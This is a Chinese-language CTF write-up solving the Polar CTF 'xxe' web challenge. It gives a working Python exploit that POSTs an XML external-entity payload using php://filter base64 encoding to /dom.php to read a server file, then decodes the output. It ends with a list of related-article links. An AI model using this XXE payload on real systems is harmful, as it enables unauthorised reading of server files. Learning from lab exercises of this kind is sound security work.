Polar Web【中等】xxe

Polar Web【中等】xxe

Contents

思路&探索

如题目所示,此题考查XXE漏洞,具体细节需要逐步深挖

  1. 打开站点,提示了flag所在的文件,点击按钮,可见php的配置信息,搜索xml发现该服务可读取外部XML实体
  2. 由于并不清楚具体的注入路径,因此先对站点进行扫描,发现存在/dom.php路径
  3. 进入该路径发现下图中的报错信息,根据XXE漏洞的操作方式,采用POST方法将构造好的XML字符串传入/dom.php 站点,得到一串经由base64编码的字符串,解码后得到flag
  • 本文采用手动和脚本两种方式来实现解答


  • 在使用HackBar传入时,经测试使用下面的模式来传数据才能生效


EXP

python 复制代码
import requests
import base64


def attack(url, pl):
    resp = requests.post(url, pl).text
    if resp:
    	# 为方便可读,对输出稍作处理
        out = resp[resp.index('textContent') + 16:resp.rindex(')')]
        out = base64.b64decode(out.encode()).decode()
        out = out[out.index('flag'):]
        print(out)
    else:
        print("Nothing...")


if __name__ == '__main__':
    u = 'http://~.www.polarctf.com:8090/dom.php'
    payload = '''<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE polar [
        <!ELEMENT name ANY >
        <!ENTITY polar SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
        ]>
<name>&polar;</name>
    '''
    attack(u, payload)

运行&总结

  • 本题考查XXE漏洞的基本原理以及渗透方式,需要对XML文档结构和XML实体的引入方式有所了解
  • 在构造的外部XML实体中,采用的是php://filter/read(伪协议读取模块)中的base64编码器实现对服务器文件flagggg.php的读取

敬,不完美的明天

相关推荐
txg66613 小时前
VULOC:基于汇编切片的漏洞定位框架,精准锁定二进制中的危险代码
汇编·人工智能·深度学习·安全·网络安全
数据知道14 小时前
IDOR 不安全的直接对象引用:API 越权实战检测
java·开发语言·网络·安全·网络安全
上海云盾-小余15 小时前
2026 网站基础防护指南:新手搭建低成本安全体系全过程总结
安全
2401_8949155315 小时前
Geo 优化源码部署常见报错排查:连接失败、地图加载、地域词失效解决方案
服务器·开发语言·python·安全·php
云水一下16 小时前
零基础玩转bWAPP靶场(四十五):XSS - Reflected (JSON)
web安全·json·xss·bwapp·reflected
Nayxxu20 小时前
Gemini Computer Use 安全清单:浏览器、桌面、移动端自动化怎么控权限
运维·安全·自动化
Sagittarius_A*21 小时前
哈希与认证基础(一):哈希函数的安全目标:原像、第二原像与碰撞
算法·安全·信息安全·密码学·哈希算法
祁白_21 小时前
WebShell工具流量特征分析
笔记·web安全·流量特征·webshell工具
河北品高电子安安1 天前
智慧井盖:物联网技术赋能城市地下管网安全监测
大数据·物联网·安全
淼澄研学1 天前
NVIDIA NeMo Guardrails 2.0实战:大模型安全护栏集成指南
人工智能·python·安全